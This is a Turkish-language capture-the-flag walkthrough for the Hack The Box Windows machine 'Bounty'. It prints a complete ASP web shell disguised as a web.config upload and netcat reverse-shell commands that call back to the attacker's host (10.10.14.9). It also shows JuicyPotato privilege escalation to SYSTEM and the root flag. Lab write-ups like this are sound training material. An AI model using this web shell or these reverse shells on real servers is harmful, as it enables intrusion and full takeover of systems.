| Makine Adı | Seviye | OS | Logo |
|---|---|---|---|
| Bounty – HTB | Orta | Windows |  |
Walkthrough
nmap taraması ile başlayalım.
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Bounty
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Sadece 80 var ve bunun üzerine nikto ve gobuster çalıştırdım. nikto bir şey bulmadı ama gobuster buldu.
ter dir --url http://10.10.10.93 --add-slash --expanded --follow-redirect --status-codes-blacklist 404 --extensions txt,js,asp,aspx,html,png,jpg --timeout 20s -t 50 -w /usr/share/wordlists/dirb/big.txt --no-error | tee gobuster11
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.93
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: html,png,jpg,txt,js,asp,aspx
[+] Add Slash: true
[+] Follow Redirect: true
[+] Expanded: true
[+] Timeout: 20s
===============================================================
2021/08/02 09:33:07 Starting gobuster in directory enumeration mode
===============================================================
http://10.10.10.93/aspnet_client/ (Status: 403) [Size: 1233]
http://10.10.10.93/merlin.jpg (Status: 200) [Size: 780732]
http://10.10.10.93/transfer.aspx (Status: 200) [Size: 941]
http://10.10.10.93/uploadedfiles/ (Status: 403) [Size: 1233]
http://10.10.10.93/welcome.png (Status: 200) [Size: 184946]
IIS 7’den sonra web.config’lerin önemi büyük ve http://10.10.10.93/transfer.aspx sayfasından web.config dosyası yükleyebildiğimi gördüm. Bunun üzerine https://gist.github.com/gazcbm/ea7206fbbad83f62080e0bbbeda77d9c sayfasındaki web.config’lerden web shell olanı kullandım. Kodu aşağıdadır.
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!--
<% Response.write("-"&"->")%>
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>
<%Response.write("<!-"&"-") %>
-->
Bu noktadan sonra kalimde bir smb başlatım içeriye nc.exe yolladım. İzlediğim get istekleri aşağıdaki gibi…
http://10.10.10.93/uploadedfiles/web.config
http://10.10.10.93/uploadedfiles/web.config?cmd=copy+%5C%5C10.10.14.9%5CKUDAY%5Cnc.exe+C%3A%5CWindows%5CTemp%5Cnc.exe
http://10.10.10.93/uploadedfiles/web.config?cmd=dir+C%3A%5CWindows%5CTempYukarıdaki dir komutunun çıktısı:
10.10.10.93 Volume in drive C has no label.
Volume Serial Number is 5084-30B0
Directory of C:\Windows\Temp
08/02/2021 05:32 PM
.
08/02/2021 05:32 PM ..
05/30/2018 03:19 AM 0 DMI5FAC.tmp
08/02/2021 05:23 PM 28,160 nc.exe
06/10/2018 03:44 PM 203,777 vminst.log
06/10/2018 03:44 PM vmware-SYSTEM
06/11/2018 12:47 AM 55,269 vmware-vmsvc.log
06/11/2018 12:47 AM 22,447 vmware-vmusr.log
08/02/2021 03:17 PM 910 vmware-vmvss.log
6 File(s) 310,563 bytes
3 Dir(s) 11,784,142,848 bytes freeC:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.9 4444 payloadı ile makineye bağlandım.
┌──(root💀kali)-[~/oscp/htb/Bounty]
└─# nc -lvp 4444
listening on [any] 4444 ...
10.10.10.93: inverse host lookup failed: Unknown host
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.93] 49159
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami
whoami
bounty\merlin
C:\Users>cmd.exe /c systeminfo
cmd.exe /c systeminfo
Host Name: BOUNTY
OS Name: Microsoft Windows Server 2008 R2 Datacenter
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 55041-402-3606965-84760
Original Install Date: 5/30/2018, 12:22:24 AM
System Boot Time: 8/2/2021, 3:17:13 PM
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory: 2,047 MB
Available Physical Memory: 1,546 MB
Virtual Memory: Max Size: 4,095 MB
Virtual Memory: Available: 3,570 MB
Virtual Memory: In Use: 525 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: Local Area Connection
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.93Windows-Exploit-Suggester ile bazı açıklar çıktı ancak hak yükseltemedim.
┌──(root💀kali)-[~/oscp/htb/Bounty]
└─# python2 /root/tool/Windows-Exploit-Suggester/windows-exploit-suggester.py -i systeminfo -d /root/tool/Windows-Exploit-Suggester/2021-07-28-mssb.xls | tee windows-exploit-suggester
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (ascii)
[*] querying database file for potential vulnerabilities
[*] comparing the 0 hotfix(es) against the 197 potential bulletins(s) with a database of 137 known exploits
[*] there are now 197 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2008 R2 64-bit'
[*]
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical
[*] http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
[*] http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
[*]
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
[M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical
[*] done
┌──(root💀kali)-[~/oscp/htb/Bounty]
└─# cat windows-exploit-suggester | grep Privilege | grep Kernel
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
Sulu patatasssss
C:\Windows\Temp>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Process başlatmak için bat dosyamı oluyşturdum. Şimdi taklit etme zamanı.
┌──(root💀kali)-[~/oscp/htb/Bounty]
└─# cat kuday.bat
C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.9 1111JuicyPotato.exe’yi indirelim ve Windows’a atalım.
┌──(root💀kali)-[~/oscp/htb/Bounty]
└─# wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
--2021-08-02 14:02:56-- https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
Resolving github.com (github.com)... 140.82.121.3
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://github-releases.githubusercontent.com/142582717/538c8db8-9c94-11e8-84e5-46a5d9473358?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20210802%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210802T180255Z&X-Amz-Expires=300&X-Amz-Signature=29a98f778c06a3de211464cf9b3e3bb6aa3544a9fcb1f6da7de5815a0c7a7efd&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=142582717&response-content-disposition=attachment%3B%20filename%3DJuicyPotato.exe&response-content-type=application%2Foctet-stream [following]
--2021-08-02 14:02:57-- https://github-releases.githubusercontent.com/142582717/538c8db8-9c94-11e8-84e5-46a5d9473358?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20210802%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210802T180255Z&X-Amz-Expires=300&X-Amz-Signature=29a98f778c06a3de211464cf9b3e3bb6aa3544a9fcb1f6da7de5815a0c7a7efd&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=142582717&response-content-disposition=attachment%3B%20filename%3DJuicyPotato.exe&response-content-type=application%2Foctet-stream
Resolving github-releases.githubusercontent.com (github-releases.githubusercontent.com)... 185.199.108.154, 185.199.109.154, 185.199.110.154, ...
Connecting to github-releases.githubusercontent.com (github-releases.githubusercontent.com)|185.199.108.154|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 347648 (340K) [application/octet-stream]
Saving to: ‘JuicyPotato.exe’
JuicyPotato.exe 100%[=========================================================================================================================================>] 339.50K 1.83MB/s in 0.2s
2021-08-02 14:02:57 (1.83 MB/s) - ‘JuicyPotato.exe’ saved [347648/347648]
C:\Windows\Temp>copy \\10.10.14.9\KUDAY\JuicyPotato.exe .
copy \\10.10.14.9\KUDAY\JuicyPotato.exe .
1 file(s) copied.
Şimdi dinleme noktası başlatalım ve taklit edelim.
C:\Windows\Temp>JuicyPotato.exe -t * -p kuday.bat -l 4444
JuicyPotato.exe -t * -p kuday.bat -l 4444
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 4444
....
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
┌──(root💀kali)-[~/oscp/htb/Bounty]
└─# nc -nlvp 1111 130 ⨯
listening on [any] 1111 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.93] 49187
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>cd C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>type root.txt
type root.txt
c837f7b699feef5475a0c079f9d4f5ea
Kaynaklar
https://github.com/ohpe/juicy-potato/tree/master/CLSID
https://docs.securezombie.com/privilege-escalation/untitled
İlk Yorumu Siz Yapın